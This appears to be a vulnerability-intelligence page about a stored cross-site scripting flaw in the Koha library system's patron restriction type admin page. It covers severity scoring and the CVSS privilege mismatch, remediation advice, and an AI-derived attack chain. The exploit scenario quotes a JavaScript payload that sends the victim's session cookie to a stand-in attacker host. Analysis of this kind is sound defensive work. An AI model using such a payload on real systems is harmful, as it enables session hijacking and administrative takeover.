Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain Koha administrator credentials
-
DeliveryNavigate to patron restriction type admin page
-
ExploitInject XSS payload into display_text field
-
InstallPayload persisted in Koha database
-
C2Victim administrator views restriction administration page
-
ExecuteMalicious script executes in victim's browser
-
ImpactExfiltrate session token or hijack admin session
Vulnerability Assessment
| Weakness |
CWE
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an active authenticated session with Koha administrator-level privileges, specifically write access to the patron restriction type administration page - this is a high-privilege role, not a standard patron or librarian account. A second prerequisite is that a victim administrator must subsequently load the poisoned restriction type administration page, introducing a required human interaction step. Exploitation is not automatable per SSVC, meaning mass or scripted attacks are not feasible. The vulnerability does not affect unauthenticated users, standard patron accounts, or non-administrative staff. Important note: the supplied CVSS vector (PR:N) directly contradicts the description's explicit administrator privilege requirement - defenders should treat PR:H as the accurate characterization of exploitation conditions and not rely on the PR:N vector for risk decisions. |
| Impact | A critical conflict exists between the provided CVSS vector (PR:N, implying no authentication required) and the vulnerability description, which explicitly states the attacker must hold administrator privileges. The PR:N assignment appears erroneous and artificially inflates the 6.1 score - with a corrected PR:H reflecting actual exploitation requirements, the adjusted score would be closer to 4.7. EPSS at 0.21% (12th percentile) independently reinforces low exploitation probability, consistent with both the niche product footprint and the high-privilege prerequisite. SSVC flags the exploitation status as poc-level (not actively exploited), non-automatable, with only partial technical impact - a profile that aligns with a targeted, opportunistic insider threat scenario rather than broad internet-facing exploitation. KEV is absent. Real-world priority for most organizations is low; however, for Koha-operating libraries where administrative staff accounts may be shared or weakly controlled, the insider threat angle is the most plausible risk vector. |
| Exploit ScenarioDerived | A malicious Koha administrator injects a JavaScript payload (e.g., document.location='https://attacker.example/steal?c='+document.cookie) into the display_text field of a patron restriction type label. When a second administrator opens the patron restriction type management page - a routine library operations task - the stored script executes silently in their browser, exfiltrating their active session token to an attacker-controlled endpoint. A proof-of-concept for this attack path is documented at https://lgnas.gitbook.io/findings/cve-2026-50765. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 22, 2026
Stored Cross-Site Scripting in Koha Library Management System through version 25.11 allows an authenticated administrator to inject persistent JavaScript into the patron restriction type administration page via the display_text (restriction type label) field. When another privileged user subsequently navigates to that administration page, the stored payload executes in their browser, enabling session hijacking, credential theft, or further administrative compromise. No public KEV listing exists, but SSVC data confirms a proof-of-concept exploit is available; EPSS at 0.21% (12th percentile) reflects the low broad exploitation probability consistent with a niche product and high privilege prerequisite.
RemediationAI
No specific patched version has been identified in the available data at time of analysis - administrators should consult the Koha vendor directly at http://koha.com and monitor the NVD advisory at https://nvd.nist.gov/vuln/detail/CVE-2026-50765 for an official fix. As a compensating control, restrict write access to the patron restriction type administration interface to the absolute minimum number of trusted, individually-accountable administrator accounts, eliminating shared or broadly-assigned admin credentials to reduce the attacker pool. Implementing a restrictive Content Security Policy (CSP) header (e.g., script-src 'self') on the Koha administrative interface can block inline script execution and materially reduce XSS exploitability, though this should be tested against Koha's legitimate JavaScript dependencies to avoid breaking functionality. Output encoding of the display_text field at the rendering layer is the correct permanent fix and should be validated in any vendor patch.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Koha is an open-source Integrated Library System (ILS) used primarily by public, academic, and school libraries, with its administrative interface built on Perl and web technologies. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: the display_text field in the patron restriction type administration page accepts free-form text that is subsequently rendered back into HTML without adequate sanitization or output encoding. This is a stored (persistent) XSS pattern - the payload is written to the Koha database and replayed to every privileged user who loads the administration view, amplifying impact beyond a single-victim reflected XSS. No vendor-assigned CPE is available in the source data (listed as n/a), but the vulnerability is scoped to the administrative web interface of Koha releases through 25.11.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Description explicitly requires administrator privileges (PR:H); victim must visit the poisoned admin page (UI:R); XSS payload executes in a different user's browser, constituting scope change (S:C).
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
DescriptionCVE.org
Cross-Site Scripting (XSS) vulnerability in the patron restriction type administration page of Koha Library Management System through 25.11 allows an authenticated remote attacker with administrator privileges to inject arbitrary web scripts via the restriction type label (display_text field)
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2026-39940
GHSA-wh28-gg5r-p54p
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB